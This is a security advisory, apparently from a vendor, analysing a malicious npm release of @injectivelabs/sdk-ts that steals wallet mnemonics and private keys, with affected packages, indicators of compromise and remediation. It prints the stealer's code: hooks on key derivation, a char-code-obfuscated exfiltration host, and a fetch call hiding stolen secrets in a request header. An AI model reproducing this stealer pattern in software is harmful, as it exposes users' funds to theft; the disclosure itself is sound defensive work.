A malicious release of @injectivelabs/sdk-ts, an npm package that pulls around 50,000 weekly downloads, shipped code that records wallet mnemonics and private keys as they are derived and ships them to an attacker-controlled endpoint. The bad version, 1.20.21, was live on npm for under an hour on June 8, 2026 before the maintainer noticed and published a clean fix. In that window the attacker also republished the same 1.20.21 version number across 17 other packages in the @injectivelabs scope, each pinned to the poisoned SDK, so that projects depending on any of them would pull the stealer in transitively.
The payload is small and reads like ordinary instrumentation. It does not run at install time and it does not break any SDK behavior. It waits for the application to derive a key during normal use, then quietly copies the secret out.
How the stealer works
The malicious code lives in two build artifacts, dist/cjs/accounts-Cy0p4lLW.cjs and dist/esm/accounts-jQ1GSgaW.js. Diffed against the clean 1.20.23 build, the two files are byte-identical except for one injected block and two one-line hooks. The block is labeled as src/utils/key-derivation-telemetry.ts and framed in its own doc comment as anonymized usage metrics for SDK optimization. Nothing about it is anonymized.
The two hooks sit inside PrivateKey.fromMnemonic and PrivateKey.fromHex, the standard entry points an application calls to turn a seed phrase or a raw hex key into a usable wallet. Each hook fires before the real derivation runs, so the secret is captured on every legitimate call:
static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
trackKeyDerivation("fm", words); // full mnemonic phrase
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
static fromHex(privateKey) {
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes"); // raw private key
...
}
The "fm" and "fh" markers tell the operator which kind of secret each record holds, mnemonic or hex, so they can reconstruct the wallet on their side. trackKeyDerivation pushes a timestamped record onto an in-memory queue and schedules a flush:
function trackKeyDerivation(method, value) {
_q.push(`${method}:${value}:${Date.now()}`);
_flush();
}
Exfiltration is where the attacker put the effort into blending in. The destination host is stored as an array of character codes and rebuilt at runtime, so a plain-text search of the bundle for the domain finds nothing:
domain finds nothing:
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = "https://" + _d() + "/"; // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network
The decoded host, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, is a subdomain shaped to look like Injective's own gRPC-web infrastructure, so the exfil traffic sits alongside the network calls a real Injective application already makes. A 2 second debounced timer batches the queued records, joins them with |, base64-encodes the blob, and sends it:
function _send(d) {
fetch(_ep, {
method: "POST",
headers: {
"Content-Type": "application/grpc-web+proto",
"X-Request-Id": d, // base64 blob of stolen key material
},
...
}).catch(() => {});
// node fallback: require("https").request(...) with the same headers
}
The stolen data rides in the X-Request-Id request header rather than the body, and the node path sends a zero-length body with it, so on the wire the request looks like a normal gRPC-web call carrying a request ID. Every failure path is a silent empty catch, so a blocked or failed exfil never surfaces an error to the victim. The choice of application/grpc-web+proto as the content type completes the disguise.
Because the trigger is key derivation at runtime and not a lifecycle script, install-time scanners and sandboxes that only watch postinstall see a clean package. The scripts block in the manifest has no install hooks at all.
Amplification across the @injectivelabs scope
Only @injectivelabs/sdk-ts@1.20.21 carries the stealer code. The other 17 packages the attacker republished at 1.20.21 were not modified in their own source. Each one was republished with a hard dependency pin on @injectivelabs/sdk-ts@1.20.21, the poisoned version. A project that installed @injectivelabs/wallet-core@1.20.21, for example, would resolve the malicious SDK transitively and run the stealer without ever naming sdk-ts in its own manifest. This is why auditing only your direct dependencies is not enough here. The wallet-focused package names in the scope map directly onto the exact workflows, seed phrases and private keys, that the payload was built to capture.
Impact and containment
The compromise was introduced through commits from a GitHub account with an established history on the repository, which points to account takeover rather than a drive-by. The malicious 1.20.21 was published at 22:59 GMT+2 on June 8, 2026, the maintainer reverted the change at 23:18, and a clean version was published at 23:48. According to npm's own stats the malicious version was downloaded 310 times before it was pulled, a small number against the project's 50,000 weekly downloads and 87 dependent packages. The fast maintainer response is what kept this from being much worse.
Containment is not complete. At the time of the source report the malicious version had been deprecated on npm with a warning but not removed, so it remains downloadable, and the release artifacts for the compromised version were still present on the project's GitHub releases page. Any mnemonic or private key that passed through these packages should be treated as exposed. Move the funds, then rotate the keys and seed phrases.
How Aikido detects this
If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.
If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.
For broader coverage across your whole team, Aikido's Device Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.
For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.
Indicators of compromise
Network indicators
Exfiltration endpoint: https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/
Malicious files
dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
Affected packages
@injectivelabs/sdk-ts@1.20.21 (contains the stealer)@injectivelabs/utils@1.20.21@injectivelabs/networks@1.20.21@injectivelabs/ts-types@1.20.21@injectivelabs/exceptions@1.20.21@injectivelabs/wallet-base@1.20.21@injectivelabs/wallet-core@1.20.21@injectivelabs/wallet-cosmos@1.20.21@injectivelabs/wallet-private-key@1.20.21@injectivelabs/wallet-evm@1.20.21@injectivelabs/wallet-trezor@1.20.21@injectivelabs/wallet-cosmostation@1.20.21@injectivelabs/wallet-ledger@1.20.21@injectivelabs/wallet-wallet-connect@1.20.21@injectivelabs/wallet-magic@1.20.21@injectivelabs/wallet-strategy@1.20.21@injectivelabs/wallet-turnkey@1.20.21@injectivelabs/wallet-cosmos-strategy@1.20.21
Remediation
- Upgrade any
@injectivelabspackage pinned or resolvable to 1.20.21 to the clean 1.20.23.
Last updated on: Jul 9, 2026

